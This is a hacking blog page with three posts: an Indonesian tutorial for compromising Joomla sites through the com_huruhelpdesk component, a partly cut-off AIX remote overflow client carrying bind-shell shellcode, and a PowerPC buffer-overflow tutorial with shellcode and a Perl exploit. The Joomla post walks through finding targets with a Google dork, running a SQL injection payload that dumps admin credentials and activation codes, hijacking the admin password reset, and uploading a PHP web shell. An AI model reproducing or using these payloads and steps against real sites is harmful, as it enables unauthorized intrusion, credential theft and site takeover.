Showing posts with label Exploit Database. Show all posts
Showing posts with label Exploit Database. Show all posts

Wednesday, February 9, 2011

Tutorial Hacking With SQL Injection Pada Joomla


ok langsung saja kita menuju step by step dalam pengerjaannya.

==========
[+] step 1
==========

Buka google.. ketik keyword :
Code:
"inurl:/index.php?option=com_huruhelpdesk\"

Atau silahkan ke sini untuk liat Exploitnya Databasenya : Exploit Database

Tes satu per satu
coba kita ambil yang ini :



==========
[+] step 2
==========

Pasang exploit..
/index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1/**/union/**/select/**/1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7+from+jos_users--

Maka akan menghasilkan gambar seperti dibawah ini:



Nah kita akan melihat admin nya... :P

==========
[+] step 3
==========

Coba kita reset password nya :
/index.php?option=com_user&view=reset

hmmm... minta email dia.. masukin saja email admin tadi..

Then enter..

==========
[+] step 4
==========

Minta activation pula
hmm.. gimana ne?
tenang.. kita cari dulu activationnya :
Code:
/index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1/**/union/**/select/**/1,2,3,concat(username,0x3a,password,0x3a,email,0x3a,activation),5,6,7+from+jos_u​sers--



Tuh kan keluar activatifasinya
hehehe
:)
lanjut...

copas aja ke yang tadi.. enter.. :)

==========
[+] step 5
==========

copas aja ke yang tadi.. enter.. :)



==========
[+] step 6
==========

Hehehehe
Dia minta pasword baru tu.. kasih aja..



==========
[+] step 7
==========

OK langsung aja masuk ke admin nya..
http://[site]/[pacth]/administrator



==========
[+] step 8
==========

masuk ternyata.. heheh
sabar²..



nah.. di sini ente harus ubah dulu "Global configuration" nya
lalu setelah itu masuk ke "media manager"

==========
[+] step 9
==========

Nah.. kita ke global configuration terlebih dahulu...

Ubah media settingnya, tambahin aja extension PHP


jangan lupa di save..
:D

==========
[+] step 10
==========

OK
lanjut..
Buka media manager..

nah, ini tahap terakhir..



Silahkan Upload Shell php mu..
seep selesai..

Bila tidak ada tulisan berwarna merah berarti berhasil..

Maka Shell kita akan berada di sini :
http://[site]/[pacth]/images/namashell.php

OK sekarang terserah kalian.. mau diapain tu site..

saran saya.. kalo bisa..
upload aja lagi shell di directory yang lain..
lalu hapus shell yang di directory images tadi..

sekian aja dulu
Selamat mencoba.. :D

Wednesday, February 2, 2011

AIX Exploit

/* client.c -  remote overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

// It needs adjust.
#define RET 0x2ff22d88;

unsigned char sh_Buff[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel              */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql              */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge           */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel                */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;

// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        return -5;
    }
    ioctl(s,FIONBIO,&bf);
    return s;
}

/* ripped from TESO code */
void shell (int sock)
{
    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);

        select (sock + 1, &rfds, NULL, NULL, NULL);

        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read user");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l <= 0) {
                perror ("read remote");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

void PrintSc(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    fprintf(stderr, "/* %d bytes */\n",buffsize);
    for(i=0;i

Tutorial Exploiting AIX (Buffer Overflows)


Author: san (san_at_xfocus.org)

--[ 1 - Familiar with PowerPC architecture(32 bit)

The PowerPC architecture is a Reduced Instruction Set Computer (RISC) architecture, with over two hundred defined instructions. PowerPC is RISC in that most instructions execute in a single cycle and typically perform a single operation (such as loading storage to a register, or storing a register to memory). PowerPC instructions are of uniform length of 32 bits and there are almost 12 instruction formats, which reflect 5 primary classes of instructions:

- branch instructions,
- fixed-point instructions,
- floating-point instructions,
- load and store instructions,
- processor control instructions.

PowerPC's application-level registers are broken into three classes: general-purpose registers (GPRs), floating-point registers (FPRs and Floating-Point Status and Control Register [FPSCR]), and special-purpose registers (SPRs). We can see 38 registers in gdb with "info registers" command. Following, Let's look at each class.

r0 Volatile register used in function prologs
r1 Stack frame pointer
r2 TOC pointer
r3 Volatile parameter and return value register
r4-r10 Volatile registers used for function parameters
r11 Volatile register used in calls by pointer and as an
environment pointer for languages which require one
r12 Volatile register used for exception handling and glink code
r13 Reserved for use as system thread ID
r14-r31 Nonvolatile registers used for local variables

Floating-point registers (FPRs)

f0 Volatile scratch register
f1-f4 Volatile floating point parameter and return value registers
f5-f13 Volatile floating point parameter registers
f14-f31 Nonvolatile registers

Special-purpose registers (SPRs)

LR Link register (volatile)
CTR Loop counter register (volatile)
XER Fixed point exception register (volatile)
FPSCR Floating point status and control register (volatile)

CR0-CR1 Volatile condition code register fields
CR2-CR4 Nonvolatile condition code register fields
CR5-CR7 Volatile condition code register fields

Registers r1, r14 through r31, and f14 through f31 are nonvolatile, which means that they preserve their values across function calls. Functions which use those registers must save the value before changing it, restoring it before the function returns. Register r2 is technically nonvolatile, but it is handled specially during function calls as described below: in some cases the calling function must restore its value after a function call.

Registers r0, r3 through r12, f0 through f13, and the special purpose registers LR, CTR, XER, and FPSCR are volatile, which means that they are not preserved across function calls. Furthermore, registers r0, r2, r11, and r12 may be modified by cross-module calls, so a function can not assume that the values of one of these registers is that placed there by the calling function.

The condition code register fields CR0, CR1, CR5, CR6, and CR7 are volatile. The condition code register fields CR2, CR3, and CR4 are nonvolatile; a function which modifies them must save and restore at least those fields of the CR. Languages that require "environment pointers" shall use r11 for that purpose.

On AIX the svca (sc in a mnemonic notation of PowerPC) instruction is used whenever the operating system services are to be called. The r2 register denotes the system call number and registers r3-r10 are appropriately filled with a given system call arguments. There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.

--[ 2 - Learn AIX PowerPC assemble format

Use gcc -S to compile C program can obtain AIX assembly code. If you are not familiar with AIX PowerPC assemble format, just write a small program in C language.
/* setuid.c
*
* Learn AIX PowerPC assembly
*/
#include 
int main()
{
setuid(0);
}

Then compile it use gcc with -S option:
-bash-2.05b$ gcc -S setuid.c

Open setuid.s on current directory:
.file "setuid.c"
.toc
.csect .text[PR]
.align 2
.globl main
.globl .main
.csect main[DS]
main:
.long .main, TOC[tc0], 0
.csect .text[PR]
.main:
.extern __mulh
.extern __mull
.extern __divss
.extern __divus
.extern __quoss
.extern __quous
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
LT..main:
.long 0
.byte 0,0,32,97,128,1,0,1
.long LT..main-.main
.short 4
.byte "main"
.byte 31
.align 2
_section_.text:
.csect .data[RW],3
.long _section_.text

To reduce to fundamental parts, the following is enough:
.globl .main
.csect .text[PR]
.main:
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-72(1)
mr 31,1
li 3,0
bl .setuid
nop
mr 3,0
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr

--[ 3 - Learn shellcode of AIX PowerPC

B-r00t's PowerPC/OS X (Darwin) Shellcode Assembly is good stuff, although it is OS X but both are PowerPC architecture. We can write shellcode like B-r00t:
-bash-2.05b$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
xor. %r5, %r5, %r5 # r5 = NULL
bnel .main # branch to _main if not equal
mflr %r3 # r3 = main + 8
addi %r3, %r3, 32 # r3 = main + 8 + 32 = string
stw %r3, -8(%r1) # argv[0] = string
stw %r5, -4(%r1) # argv[1] = NULL
subi %r4, %r1, 8 # r4 = pointer to argv[]
li %r2, 5 # syscall number = execve
crorc %cr6, %cr6, %cr6 # There are two additional prerequisites that must be fulfilled before executing the system call instruction: the LR register must be filled with the return from syscall address value and the crorc cr6, cr6, cr6 instruction must be issued just before the system call.
svca 0 # execve(r3, r4, r5)
string: # execve(path, argv[], NULL)
.asciz "/bin/sh"

-bash-2.05b$ gcc -o simple_execve simple_execve.s
-bash-2.05b$ ./simple_execve
$

The execve syscall executed correct, and then use objdump check the opcode:
-bash-2.05b$ objdump -d simple_execve|more
...
0000000010000544 <.main>:
10000544: 7c a5 2a 79 xor. r5,r5,r5
10000548: 40 82 ff fd bnel 10000544 <.main>
1000054c: 7c 68 02 a6 mflr r3
10000550: 38 63 00 20 cal r3,32(r3)
10000554: 90 61 ff f8 st r3,-8(r1)
10000558: 90 a1 ff fc st r5,-4(r1)
1000055c: 38 81 ff f8 cal r4,-8(r1)
10000560: 38 40 00 05 lil r2,5
10000564: 4c c6 33 42 crorc 6,6,6
10000568: 44 00 00 02 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990
10000570: 2f 73 68 00 cmpi 6,r19,26624
...

There are some opcodes contain zero. These bytes must be eliminated for the shellcode to suit strcpy etc. Some instructions have reservered bytes, so we can replace it. The opcode of svca is 0x44000002. However, bytes 2 and 3 of the opcode are reserved and therefore not used. So it can be instead of 0x44ffff02. LSD provided a simple shellcode:
/* shellcode.c
*
* ripped from lsd
*/

char shellcode[] = /* 12*4+8 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel  */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}

After compiled this program, use IDAPro to open and disassemble it. In IDAPro window, click shellcode at Names window and press c to disassemble the shellcode data:
.data:200006D8 shellcode: # CODE XREF: .data:200006DC p
.data:200006D8 # DATA XREF: .data:shellcode_TC o
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # r5 = NULL
.data:200006DC 40 82 FF FD bnel shellcode # branch to shellcode if not equal
.data:200006E0 7F E8 02 A6 mflr r31 # r31 = .data:200006D8 + 8
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31 = .data:200006D8 + 8 + 0x120
.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3 = .data:200006D8 + 8 + 0x120 - 0xF8 = .data:20000708 = string
.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4 = .data:20000710
.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # put address .data:20000708 to .data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # put 0 to .data:20000714
.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31)# load syscall number to r2
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # put 0 to .data:2000070F
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # ------------------------------------------------------------------------
.data:20000704 44 .byte 0x44 # modified svca
.data:20000705 FF .byte 0xFF
.data:20000706 FF .byte 0xFF
.data:20000707 02 .byte 2
.data:20000708 2F .byte 0x2F # /
.data:20000709 62 .byte 0x62 # b
.data:2000070A 69 .byte 0x69 # i
.data:2000070B 6E .byte 0x6E # n
.data:2000070C 2F .byte 0x2F # /
.data:2000070D 73 .byte 0x73 # s
.data:2000070E 68 .byte 0x68 # h
.data:2000070F 05 .byte 5

IDAPro is more powerful and it's disassembly is more understandability. OK, we know how to write and debug shellcode now.

--[ 4 - Learn overflow technology of AIX PowerPC

There are differences of stack structure between PowerPC and ia32. The PowerPC stack conventions use only a stack pointer (held in register GPR1) and no frame pointer. This configuration assumes a fixed stack frame size, which is known at compile time. Parameters are not passed by pushing them onto the stack. The following is the PowerPC stack:
. Stack before . . Stack after .
. calling a . . calling a .
| procedure | | procedure |
+----------------+- +----------------+-
| Parameter area | | | Parameter area | |
+----------------+ +-Caller +----------------+ +-Caller
| Linkage area | | | Linkage area | |
SP --->+----------------+- +----------------+-
| Stack grows | | Saved registers| |
. down . +----------------+ |
. | . | Local variables| |
v +----------------+ +-Callee
| Parameter area | |
+----------------+ |
| Linkage area | |
SP --->+----------------+-
| Stack grows |
. down .
. | .
v

The PowerPC runtime environment uses a grow-down stack that contains linkage information, local variables, and a routine's parameter information.

The calling routine's linkage area holds a number of values, some of which are saved by the calling routine and some by the called routine. It's structure as following:
+24+----------------+
| Saved TOC |
+20+----------------+
| Reserved |
+16+----------------+
| Reserved |
+12+----------------+
| Saved LR |
+8+----------------+
| Saved CR |
+4+----------------+
| Saved SP |
SP --->+----------------+

The Link Register (LR) value is saved at 8(SP) by the called routine if it chooses to do so.
The Condition Register (CR) value may be saved at 4(SP) by the called routine. As with the Link Register value, the called routine is not required to save this value.
The stack pointer is always saved by the calling routine as part of its stack frame.

The parameter area has space for the parameters of any routines the caller calls (not the parameters of the caller itself). Since the calling routine might call several different routines, the parameter area must be large enough to accommodate the largest parameter list of all the routines the caller calls. It is the calling routine's responsibility for setting up the parameter area before each call to some other routine, and the called routine's responsibility for accessing the parameters placed within it.

There are three instructions when function return on ia32:
mov esp,ebp ; esp point to prior frame
pop ebp
ret ; execute address that saved at esp+4

There are some instructions when function return on AIX PowerPC:
lwz r1,0(r1) # r1 point to prior frame
lwz r0,8(r1) # load saved lr to r0
mtlr r0 # lr=r0
lwz r31,-4(r1) #
blr # execute address that saved at lr

Although there are differences of stack structure between PowerPC and ia32, but they have the same overflow technology. We need overwrite ebp+4 of current frame to return our control address on ia32, and we need overwrite r1+8 of prior frame to return our control address on AIX PowerPC.

Running the simple_overflow program in GDB shows that the control of the saved return address (previous LR value) is possible.
-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include 
#include 
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22bb0 804400048
r2 0x20000e70 536874608
r3 0x20 32
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x53455256 1397051990
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x22222842 572663874
lr 0x41424344 1094861636
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/8x $r1
0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000

Register pc has been overwritten to ABCD and this is our controled content.
(gdb) disas main
Dump of assembler code for function main:
0x1000054c : mflr r0
0x10000550 : stw r31,-4(r1)
0x10000554 : stw r0,8(r1)
0x10000558 : stwu r1,-88(r1)
0x1000055c : mr r31,r1
0x10000560 : addi r3,r31,56
0x10000564 : lwz r4,80(r2)
0x10000568 : bl 0x10006fa0 
0x1000056c : nop
0x10000570 : mr r3,r0
0x10000574 : lwz r1,0(r1)
0x10000578 : lwz r0,8(r1)
0x1000057c : mtlr r0
0x10000580 : lwz r31,-4(r1)
0x10000584 : blr
0x10000588 : .long 0x0
0x1000058c : .long 0x2061
0x10000590 : lwz r0,1(r1)
0x10000594 : .long 0x3c
0x10000598 : .long 0x46d61
0x1000059c : xori r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc 0x10000560 : addi r3,r31,56
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

0x2ff22b58 is the current sp, and it contains prior stack frame address(0x2ff22bb0). So we can get the lr value that saved in prior stack frame, and it is 0x100001cc. The program will execute this address after main function return.
(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc 0x1000056c : nop
(gdb) i reg
r0 0x20 32
r1 0x2ff22b58 804399960
r2 0x20000e70 536874608
r3 0x2ff22b90 804400016
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b58 804399960
pc 0x1000056c 268436844
ps 0x2d032 184370
cr 0x22222842 572663874
lr 0x1000056c 268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

After strcpy, the lr value that saved in prior stack frame was overwritten to 0x41424344.
(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570 : mr r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574 : lwz r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578 : lwz r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c : mtlr r0
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580 : lwz r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc 0x10000584 : blr
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
1: x/i $pc 0x41424344: Cannot access memory at address 0x41424344
Disabling display 1 to avoid infinite recursion.

These instructions has been introduced before. The program will execute the lr value that saved in prior stack frame at r1+8.

--[ 5 - How to attack overflow vulnerability on AIX PowerPC

Now we know overflow process, then let's try to attack overflow vulnerability. The following program is the vulnerability.
-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/

#include 
#include 
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
getchar(); /* for debug */
}

-bash-2.05b$ gcc -o vulnerable vulnerable.c

0x2ff22fff seems to be stack bottom of AIX. The following is the AIX's stack structure:
Stack bottom
+----------------+ 0x2ff22fff
| Reserverd |
+----------------+
| Enviroment |
+----------------+
| args |
+----------------+
| path |
+----------------+
| Stack frames |
SP --->+----------------+
| Stack grows |
. down .
. | .
. v .

Enviroment address can be guessed more exactly, so we put lots of nop instructions and the shellcode into the enviroment.
-bash-2.05b$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable

$CMD="/home/san/vulnerable";

$SHELLCODE=
"\x7c\xa5\x2a\x79". # /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd". # /* bnel  */
"\x7f\xe8\x02\xa6". # /* mflr r31 */
"\x3b\xff\x01\x20". # /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08". # /* cal r3,-248(r31) */
"\x38\x9f\xff\x10". # /* cal r4,-240(r31) */
"\x90\x7f\xff\x10". # /* st r3,-240(r31) */
"\x90\xbf\xff\x14". # /* st r5,-236(r31) */
"\x88\x5f\xff\x0f". # /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f". # /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42". # /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02". # /* svca */
"/bin/sh".
"\x05";

$NOP="\x60\x60\x60\x60"x800;
%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"\x2f\xf2\x2b\x40"x11;

Try it.
-bash-2.05b$ ./exploit.pl

/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@/?+@

Use gdb debug the vulnerable program on the another tty:
-bash-2.05b$ ps aux|grep vul
san 47644 0.0 0.0 208 220 pts/1 A 22:16:24 0:00 grep vul
san 44544 0.0 0.0 96 304 pts/0 A 22:16:02 0:00 /home/san/vulnera
-bash-2.05b$ gdb vulnerable 44544
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
Attaching to program: /home/san/vulnerable, process 44544
0xd01ea254 in read () from /usr/lib/libc.a(shr.o)
(gdb) disas main
Dump of assembler code for function main:
0x10000544 : mflr r0
0x10000548 : stw r31,-4(r1)
0x1000054c : stw r0,8(r1)
0x10000550 : stwu r1,-88(r1)
0x10000554 : mr r31,r1
0x10000558 : stw r3,112(r31)
0x1000055c : stw r4,116(r31)
0x10000560 : lwz r9,116(r31)
0x10000564 : addi r9,r9,4
0x10000568 : addi r3,r31,56
0x1000056c : lwz r4,0(r9)
0x10000570 : bl 0x10007000 
0x10000574 : nop
0x10000578 : lwz r3,88(r2)
0x1000057c : addi r4,r31,56
0x10000580 : bl 0x100073ec 
0x10000584 : lwz r2,20(r1)
0x10000588 : lwz r11,92(r2)
0x1000058c : lwz r9,92(r2)
0x10000590 : lwz r9,4(r9)
0x10000594 : addi r0,r9,-1
0x10000598 : stw r0,4(r11)
0x1000059c : cmpwi r0,0
0x100005a0 : bge- 0x100005b4 
0x100005a4 : lwz r3,92(r2)
0x100005a8 : bl 0x1000747c <__filbuf>
0x100005ac : lwz r2,20(r1)
